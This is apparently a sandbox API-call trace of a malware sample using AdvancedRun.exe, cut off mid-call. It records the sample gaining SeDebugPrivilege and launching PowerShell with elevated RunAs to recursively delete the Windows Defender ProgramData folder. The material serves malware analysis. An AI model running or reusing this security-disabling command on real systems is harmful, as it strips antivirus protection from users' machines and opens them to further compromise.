Region: id = 5202 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5203 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5204 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5205 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5206 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5207 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5208 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5209 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5210 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5211 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5212 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5213 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5214 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5215 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5216 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5217 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5218 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5219 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5220 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5221 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5222 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5223 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5224 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5225 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5226 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Thread: id = 459 os_tid = 0x404 [0244.641] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0244.641] __set_app_type (_Type=0x2) [0244.641] __p__fmode () returned 0x74d931f4 [0244.641] __p__commode () returned 0x74d931fc [0244.641] __wgetmainargs (in: _Argc=0x18ff5c, _Argv=0x18ff60, _Env=0x18ff64, _DoWildCard=0, _StartInfo=0x18ff68 | out: _Argc=0x18ff5c, _Argv=0x18ff60, _Env=0x18ff64) returned 0 [0244.646] _onexit (_Func=0x40b65c) returned 0x40b65c [0244.646] _onexit (_Func=0x40b66d) returned 0x40b66d [0244.647] _onexit (_Func=0x40b67e) returned 0x40b67e [0244.647] _onexit (_Func=0x40b688) returned 0x40b688 [0244.648] _onexit (_Func=0x40b6a6) returned 0x40b6a6 [0244.648] _onexit (_Func=0x40b6e7) returned 0x40b6e7 [0244.648] _onexit (_Func=0x40b6f8) returned 0x40b6f8 [0244.648] _onexit (_Func=0x40b6f9) returned 0x40b6f9 [0244.648] _onexit (_Func=0x40b711) returned 0x40b711 [0244.648] GetStartupInfoW (in: lpStartupInfo=0x18ff10 | out: lpStartupInfo=0x18ff10*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0244.648] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0244.648] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x73c20000 [0244.649] GetProcAddress (hModule=0x73c20000, lpProcName="InitCommonControlsEx") returned 0x73c409ce [0244.649] InitCommonControlsEx (picce=0x18e1f8) returned 1 [0244.650] FreeLibrary (hLibModule=0x73c20000) returned 1 [0244.650] GetSystemDirectoryW (in: lpBuffer=0x41c6d0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0244.650] wcscpy (in: _Dest=0x18d9f8, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0244.650] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0244.650] wcscat (in: _Dest=0x18d9f8, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0244.650] wcscat (in: _Dest=0x18d9f8, _Source="shell32.dll" | out: _Dest="C:\\Windows\\system32\\shell32.dll") returned="C:\\Windows\\system32\\shell32.dll" [0244.650] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\shell32.dll") returned 0x75ff0000 [0244.651] GetProcAddress (hModule=0x75ff0000, lpProcName="SHGetSpecialFolderPathW") returned 0x76010468 [0244.651] SetErrorMode (uMode=0x8001) returned 0x0 [0244.652] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0244.652] EnumResourceTypesW (hModule=0x400000, lpEnumFunc=0x40a3c1, lParam=0x0) returned 1 [0244.652] EnumResourceNamesW (hModule=0x400000, lpType=0x1, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0244.652] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x1) returned 0x41d558 [0244.652] SizeofResource (hModule=0x400000, hResInfo=0x41d558) returned 0x134 [0244.652] LoadResource (hModule=0x400000, hResInfo=0x41d558) returned 0x41d778 [0244.652] LockResource (hResData=0x41d778) returned 0x41d778 [0244.652] EnumResourceNamesW (hModule=0x400000, lpType=0x2, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0244.652] FindResourceW (hModule=0x400000, lpName=0x6e, lpType=0x2) returned 0x41d568 [0244.652] SizeofResource (hModule=0x400000, hResInfo=0x41d568) returned 0x1528 [0244.652] LoadResource (hModule=0x400000, hResInfo=0x41d568) returned 0x41d8ac [0244.652] LockResource (hResData=0x41d8ac) returned 0x41d8ac [0244.653] FindResourceW (hModule=0x400000, lpName=0x85, lpType=0x2) returned 0x41d578 [0244.653] SizeofResource (hModule=0x400000, hResInfo=0x41d578) returned 0xd8 [0244.653] LoadResource (hModule=0x400000, hResInfo=0x41d578) returned 0x41edd4 [0244.653] LockResource (hResData=0x41edd4) returned 0x41edd4 [0244.653] FindResourceW (hModule=0x400000, lpName=0x86, lpType=0x2) returned 0x41d588 [0244.653] SizeofResource (hModule=0x400000, hResInfo=0x41d588) returned 0xd8 [0244.653] LoadResource (hModule=0x400000, hResInfo=0x41d588) returned 0x41eeac [0244.653] LockResource (hResData=0x41eeac) returned 0x41eeac [0244.653] EnumResourceNamesW (hModule=0x400000, lpType=0x3, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0244.653] FindResourceW (hModule=0x400000, lpName=0x2, lpType=0x3) returned 0x41d598 [0244.653] SizeofResource (hModule=0x400000, hResInfo=0x41d598) returned 0x10a8 [0244.653] LoadResource (hModule=0x400000, hResInfo=0x41d598) returned 0x41ef84 [0244.653] LockResource (hResData=0x41ef84) returned 0x41ef84 [0244.653] FindResourceW (hModule=0x400000, lpName=0x3, lpType=0x3) returned 0x41d5a8 [0244.653] SizeofResource (hModule=0x400000, hResInfo=0x41d5a8) returned 0x468 [0244.653] LoadResource (hModule=0x400000, hResInfo=0x41d5a8) returned 0x42002c [0244.653] LockResource (hResData=0x42002c) returned 0x42002c [0244.653] FindResourceW (hModule=0x400000, lpName=0x4, lpType=0x3) returned 0x41d5b8 [0244.653] SizeofResource (hModule=0x400000, hResInfo=0x41d5b8) returned 0x128 [0244.653] LoadResource (hModule=0x400000, hResInfo=0x41d5b8) returned 0x420494 [0244.653] LockResource (hResData=0x420494) returned 0x420494 [0244.653] EnumResourceNamesW (hModule=0x400000, lpType=0x4, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0244.653] FindResourceW (hModule=0x400000, lpName=0x66, lpType=0x4) returned 0x41d5c8 [0244.653] SizeofResource (hModule=0x400000, hResInfo=0x41d5c8) returned 0x364 [0244.653] LoadResource (hModule=0x400000, hResInfo=0x41d5c8) returned 0x4205bc [0244.654] LockResource (hResData=0x4205bc) returned 0x4205bc [0244.654] FindResourceW (hModule=0x400000, lpName=0x68, lpType=0x4) returned 0x41d5d8 [0244.654] SizeofResource (hModule=0x400000, hResInfo=0x41d5d8) returned 0x1c4 [0244.654] LoadResource (hModule=0x400000, hResInfo=0x41d5d8) returned 0x420920 [0244.654] LockResource (hResData=0x420920) returned 0x420920 [0244.654] EnumResourceNamesW (hModule=0x400000, lpType=0x5, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0244.654] FindResourceW (hModule=0x400000, lpName=0x69, lpType=0x5) returned 0x41d5e8 [0244.654] SizeofResource (hModule=0x400000, hResInfo=0x41d5e8) returned 0xa2 [0244.654] LoadResource (hModule=0x400000, hResInfo=0x41d5e8) returned 0x420ae4 [0244.654] LockResource (hResData=0x420ae4) returned 0x420ae4 [0244.654] FindResourceW (hModule=0x400000, lpName=0x6b, lpType=0x5) returned 0x41d5f8 [0244.654] SizeofResource (hModule=0x400000, hResInfo=0x41d5f8) returned 0x296 [0244.654] LoadResource (hModule=0x400000, hResInfo=0x41d5f8) returned 0x420b88 [0244.654] LockResource (hResData=0x420b88) returned 0x420b88 [0244.654] FindResourceW (hModule=0x400000, lpName=0x6f, lpType=0x5) returned 0x41d608 [0244.654] SizeofResource (hModule=0x400000, hResInfo=0x41d608) returned 0xbda [0244.654] LoadResource (hModule=0x400000, hResInfo=0x41d608) returned 0x420e20 [0244.654] LockResource (hResData=0x420e20) returned 0x420e20 [0244.654] FindResourceW (hModule=0x400000, lpName=0x70, lpType=0x5) returned 0x41d618 [0244.654] SizeofResource (hModule=0x400000, hResInfo=0x41d618) returned 0xfa [0244.654] LoadResource (hModule=0x400000, hResInfo=0x41d618) returned 0x4219fc [0244.654] LockResource (hResData=0x4219fc) returned 0x4219fc [0244.654] FindResourceW (hModule=0x400000, lpName=0x71, lpType=0x5) returned 0x41d628 [0244.655] SizeofResource (hModule=0x400000, hResInfo=0x41d628) returned 0xe4 [0244.655] LoadResource (hModule=0x400000, hResInfo=0x41d628) returned 0x421af8 [0244.655] LockResource (hResData=0x421af8) returned 0x421af8 [0244.655] FindResourceW (hModule=0x400000, lpName=0x448, lpType=0x5) returned 0x41d638 [0244.655] SizeofResource (hModule=0x400000, hResInfo=0x41d638) returned 0x336 [0244.655] LoadResource (hModule=0x400000, hResInfo=0x41d638) returned 0x421bdc [0244.655] LockResource (hResData=0x421bdc) returned 0x421bdc [0244.655] EnumResourceNamesW (hModule=0x400000, lpType=0x6, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0244.655] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x6) returned 0x41d648 [0244.655] SizeofResource (hModule=0x400000, hResInfo=0x41d648) returned 0x12a [0244.655] LoadResource (hModule=0x400000, hResInfo=0x41d648) returned 0x421f14 [0244.655] LockResource (hResData=0x421f14) returned 0x421f14 [0244.655] FindResourceW (hModule=0x400000, lpName=0x20, lpType=0x6) returned 0x41d658 [0244.655] SizeofResource (hModule=0x400000, hResInfo=0x41d658) returned 0x42 [0244.655] LoadResource (hModule=0x400000, hResInfo=0x41d658) returned 0x422040 [0244.655] LockResource (hResData=0x422040) returned 0x422040 [0244.655] FindResourceW (hModule=0x400000, lpName=0x23, lpType=0x6) returned 0x41d668 [0244.655] SizeofResource (hModule=0x400000, hResInfo=0x41d668) returned 0x62 [0244.655] LoadResource (hModule=0x400000, hResInfo=0x41d668) returned 0x422084 [0244.655] LockResource (hResData=0x422084) returned 0x422084 [0244.655] FindResourceW (hModule=0x400000, lpName=0x26, lpType=0x6) returned 0x41d678 [0244.655] SizeofResource (hModule=0x400000, hResInfo=0x41d678) returned 0x7c [0244.655] LoadResource (hModule=0x400000, hResInfo=0x41d678) returned 0x4220e8 [0244.655] LockResource (hResData=0x4220e8) returned 0x4220e8 [0244.655] FindResourceW (hModule=0x400000, lpName=0x27, lpType=0x6) returned 0x41d688 [0244.655] SizeofResource (hModule=0x400000, hResInfo=0x41d688) returned 0x5c [0244.655] LoadResource (hModule=0x400000, hResInfo=0x41d688) returned 0x422164 [0244.655] LockResource (hResData=0x422164) returned 0x422164 [0244.656] FindResourceW (hModule=0x400000, lpName=0x28, lpType=0x6) returned 0x41d698 [0244.656] SizeofResource (hModule=0x400000, hResInfo=0x41d698) returned 0x6a [0244.656] LoadResource (hModule=0x400000, hResInfo=0x41d698) returned 0x4221c0 [0244.656] LockResource (hResData=0x4221c0) returned 0x4221c0 [0244.656] FindResourceW (hModule=0x400000, lpName=0x29, lpType=0x6) returned 0x41d6a8 [0244.656] SizeofResource (hModule=0x400000, hResInfo=0x41d6a8) returned 0x22c [0244.656] LoadResource (hModule=0x400000, hResInfo=0x41d6a8) returned 0x42222c [0244.656] LockResource (hResData=0x42222c) returned 0x42222c [0244.656] FindResourceW (hModule=0x400000, lpName=0x2a, lpType=0x6) returned 0x41d6b8 [0244.656] SizeofResource (hModule=0x400000, hResInfo=0x41d6b8) returned 0x1b2 [0244.656] LoadResource (hModule=0x400000, hResInfo=0x41d6b8) returned 0x422458 [0244.656] LockResource (hResData=0x422458) returned 0x422458 [0244.656] FindResourceW (hModule=0x400000, lpName=0x2c, lpType=0x6) returned 0x41d6c8 [0244.656] SizeofResource (hModule=0x400000, hResInfo=0x41d6c8) returned 0x96 [0244.656] LoadResource (hModule=0x400000, hResInfo=0x41d6c8) returned 0x42260c [0244.656] LockResource (hResData=0x42260c) returned 0x42260c [0244.656] FindResourceW (hModule=0x400000, lpName=0x2d, lpType=0x6) returned 0x41d6d8 [0244.656] SizeofResource (hModule=0x400000, hResInfo=0x41d6d8) returned 0x14e [0244.656] LoadResource (hModule=0x400000, hResInfo=0x41d6d8) returned 0x4226a4 [0244.656] LockResource (hResData=0x4226a4) returned 0x4226a4 [0244.656] FindResourceW (hModule=0x400000, lpName=0x2f, lpType=0x6) returned 0x41d6e8 [0244.656] SizeofResource (hModule=0x400000, hResInfo=0x41d6e8) returned 0x4e [0244.656] LoadResource (hModule=0x400000, hResInfo=0x41d6e8) returned 0x4227f4 [0244.656] LockResource (hResData=0x4227f4) returned 0x4227f4 [0244.656] FindResourceW (hModule=0x400000, lpName=0x30, lpType=0x6) returned 0x41d6f8 [0244.656] SizeofResource (hModule=0x400000, hResInfo=0x41d6f8) returned 0x3a [0244.656] LoadResource (hModule=0x400000, hResInfo=0x41d6f8) returned 0x422844 [0244.657] LockResource (hResData=0x422844) returned 0x422844 [0244.657] FindResourceW (hModule=0x400000, lpName=0x4c, lpType=0x6) returned 0x41d708 [0244.657] SizeofResource (hModule=0x400000, hResInfo=0x41d708) returned 0x90 [0244.657] LoadResource (hModule=0x400000, hResInfo=0x41d708) returned 0x422880 [0244.657] LockResource (hResData=0x422880) returned 0x422880 [0244.657] EnumResourceNamesW (hModule=0x400000, lpType=0x9, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0244.657] FindResourceW (hModule=0x400000, lpName=0x67, lpType=0x9) returned 0x41d718 [0244.657] SizeofResource (hModule=0x400000, hResInfo=0x41d718) returned 0x48 [0244.657] LoadResource (hModule=0x400000, hResInfo=0x41d718) returned 0x422910 [0244.657] LockResource (hResData=0x422910) returned 0x422910 [0244.657] EnumResourceNamesW (hModule=0x400000, lpType=0xc, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0244.657] FindResourceW (hModule=0x400000, lpName=0x67, lpType=0xc) returned 0x41d728 [0244.657] SizeofResource (hModule=0x400000, hResInfo=0x41d728) returned 0x14 [0244.657] LoadResource (hModule=0x400000, hResInfo=0x41d728) returned 0x422958 [0244.657] LockResource (hResData=0x422958) returned 0x422958 [0244.657] EnumResourceNamesW (hModule=0x400000, lpType=0xe, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0244.657] FindResourceW (hModule=0x400000, lpName=0x65, lpType=0xe) returned 0x41d738 [0244.657] SizeofResource (hModule=0x400000, hResInfo=0x41d738) returned 0x22 [0244.657] LoadResource (hModule=0x400000, hResInfo=0x41d738) returned 0x42296c [0244.657] LockResource (hResData=0x42296c) returned 0x42296c [0244.657] FindResourceW (hModule=0x400000, lpName=0x66, lpType=0xe) returned 0x41d748 [0244.657] SizeofResource (hModule=0x400000, hResInfo=0x41d748) returned 0x14 [0244.657] LoadResource (hModule=0x400000, hResInfo=0x41d748) returned 0x422990 [0244.658] LockResource (hResData=0x422990) returned 0x422990 [0244.658] EnumResourceNamesW (hModule=0x400000, lpType=0x10, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0244.658] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x10) returned 0x41d758 [0244.658] SizeofResource (hModule=0x400000, hResInfo=0x41d758) returned 0x320 [0244.658] LoadResource (hModule=0x400000, hResInfo=0x41d758) returned 0x4229a4 [0244.658] LockResource (hResData=0x4229a4) returned 0x4229a4 [0244.658] EnumResourceNamesW (hModule=0x400000, lpType=0x18, lpEnumFunc=0x40a33b, lParam=0x0) returned 1 [0244.658] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x18) returned 0x41d768 [0244.658] SizeofResource (hModule=0x400000, hResInfo=0x41d768) returned 0x445 [0244.658] LoadResource (hModule=0x400000, hResInfo=0x41d768) returned 0x422cc4 [0244.658] LockResource (hResData=0x422cc4) returned 0x422cc4 [0244.658] free (_Block=0x0) [0244.658] free (_Block=0x0) [0244.658] malloc (_Size=0x80) returned 0x5528f0 [0244.658] malloc (_Size=0x200) returned 0x552978 [0244.658] wcslen (_String="/EXEFilename") returned 0xc [0244.658] malloc (_Size=0x800) returned 0x552b80 [0244.658] malloc (_Size=0x400) returned 0x553fb8 [0244.659] wcslen (_String="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0244.659] wcslen (_String="/WindowState") returned 0xc [0244.659] wcslen (_String="0") returned 0x1 [0244.659] wcslen (_String="/CommandLine") returned 0xc [0244.659] wcslen (_String="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned 0x3a [0244.659] wcslen (_String="/StartDirectory") returned 0xf [0244.659] wcslen (_String="") returned 0x0 [0244.659] wcslen (_String="/RunAs") returned 0x6 [0244.659] wcslen (_String="8") returned 0x1 [0244.659] wcslen (_String="/Run") returned 0x4 [0244.659] free (_Block=0x552978) [0244.659] GetCurrentProcess () returned 0xffffffff [0244.660] wcscpy (in: _Dest=0x18d9a8, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0244.660] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0244.660] wcscat (in: _Dest=0x18d9a8, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0244.660] wcscat (in: _Dest=0x18d9a8, _Source="advapi32.dll" | out: _Dest="C:\\Windows\\system32\\advapi32.dll") returned="C:\\Windows\\system32\\advapi32.dll" [0244.660] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x75ca0000 [0244.661] GetProcAddress (hModule=0x75ca0000, lpProcName="OpenProcessToken") returned 0x75cb4304 [0244.661] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x18e1e4 | out: TokenHandle=0x18e1e4*=0xb4) returned 1 [0244.661] GetProcAddress (hModule=0x75ca0000, lpProcName="LookupPrivilegeValueW") returned 0x75cb41b3 [0244.661] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x18e1d8 | out: lpLuid=0x18e1d8*(LowPart=0x14, HighPart=0)) returned 1 [0244.794] GetProcAddress (hModule=0x75ca0000, lpProcName="AdjustTokenPrivileges") returned 0x75cb418e [0244.794] AdjustTokenPrivileges (in: TokenHandle=0xb4, DisableAllPrivileges=0, NewState=0x18e1d4*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0244.794] GetLastError () returned 0x0 [0244.794] CloseHandle (hObject=0xb4) returned 1 [0244.794] FreeLibrary (hLibModule=0x75ca0000) returned 1 [0244.794] _wcsicmp (_String1="/SpecialRun", _String2="/EXEFilename") returned 14 [0244.794] _wcsicmp (_String1="/SpecialRun", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.794] _wcsicmp (_String1="/SpecialRun", _String2="/WindowState") returned -4 [0244.794] _wcsicmp (_String1="/SpecialRun", _String2="0") returned -1 [0244.794] _wcsicmp (_String1="/SpecialRun", _String2="/CommandLine") returned 16 [0244.795] _wcsicmp (_String1="/SpecialRun", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.795] _wcsicmp (_String1="/SpecialRun", _String2="/StartDirectory") returned -4 [0244.795] _wcsicmp (_String1="/SpecialRun", _String2="") returned 47 [0244.795] _wcsicmp (_String1="/SpecialRun", _String2="/RunAs") returned 1 [0244.795] _wcsicmp (_String1="/SpecialRun", _String2="8") returned -9 [0244.795] _wcsicmp (_String1="/SpecialRun", _String2="/Run") returned 1 [0244.795] _wcsicmp (_String1="/Run", _String2="/EXEFilename") returned 13 [0244.795] _wcsicmp (_String1="/Run", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.795] _wcsicmp (_String1="/Run", _String2="/WindowState") returned -5 [0244.795] _wcsicmp (_String1="/Run", _String2="0") returned -1 [0244.795] _wcsicmp (_String1="/Run", _String2="/CommandLine") returned 15 [0244.795] _wcsicmp (_String1="/Run", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.795] _wcsicmp (_String1="/Run", _String2="/StartDirectory") returned -1 [0244.795] _wcsicmp (_String1="/Run", _String2="") returned 47 [0244.795] _wcsicmp (_String1="/Run", _String2="/RunAs") returned -97 [0244.795] _wcsicmp (_String1="/Run", _String2="8") returned -9 [0244.795] _wcsicmp (_String1="/Run", _String2="/Run") returned 0 [0244.795] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18dfec, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe")) returned 0x35 [0244.795] wcscat (in: _Dest=0x18dfec, _Source=".cfg" | out: _Dest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" [0244.795] wcscpy (in: _Dest=0x18dbc4, _Source="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: _Dest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" [0244.795] wcscpy (in: _Dest=0x18ddce, _Source="General" | out: _Dest="General") returned="General" [0244.796] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="WinPos", lpDefault="", lpReturnedString=0x189b74, nSize=0x2000, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0244.797] wcslen (_String="") returned 0x0 [0244.797] wcscpy (in: _Dest=0x18ddce, _Source="General" | out: _Dest="General") returned="General" [0244.797] GetPrivateProfileIntW (lpAppName="General", lpKeyName="AutoRun", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.797] wcscpy (in: _Dest=0x18ddce, _Source="General" | out: _Dest="General") returned="General" [0244.800] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="EXEFilename", lpDefault="", lpReturnedString=0x4101d8, nSize=0x104, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0244.800] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="CommandLine", lpDefault="", lpReturnedString=0x4103e2, nSize=0x2000, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0244.800] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="StartDirectory", lpDefault="", lpReturnedString=0x4143e4, nSize=0x104, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0244.800] GetPrivateProfileIntW (lpAppName="General", lpKeyName="PriorityClass", nDefault=32, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x20 [0244.800] GetPrivateProfileIntW (lpAppName="General", lpKeyName="WindowState", nDefault=1, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x1 [0244.800] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseWindowPosition", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.800] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="WindowPosition", lpDefault="20,20", lpReturnedString=0x4145fc, nSize=0x1f, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="20,20") returned 0x5 [0244.801] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseWindowSize", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.801] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="WindowSize", lpDefault="640,400", lpReturnedString=0x414640, nSize=0x1f, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="640,400") returned 0x7 [0244.801] GetPrivateProfileIntW (lpAppName="General", lpKeyName="RunAs", nDefault=1, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x1 [0244.801] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="RunAsProcessName", lpDefault="", lpReturnedString=0x414684, nSize=0x104, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0244.801] GetPrivateProfileIntW (lpAppName="General", lpKeyName="EnvironmentVariablesMode", nDefault=1, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x1 [0244.801] GetPrivateProfileIntW (lpAppName="General", lpKeyName="OSCompatMode", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.801] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseSearchPath", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.801] GetPrivateProfileIntW (lpAppName="General", lpKeyName="ParseVarCommandLine", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 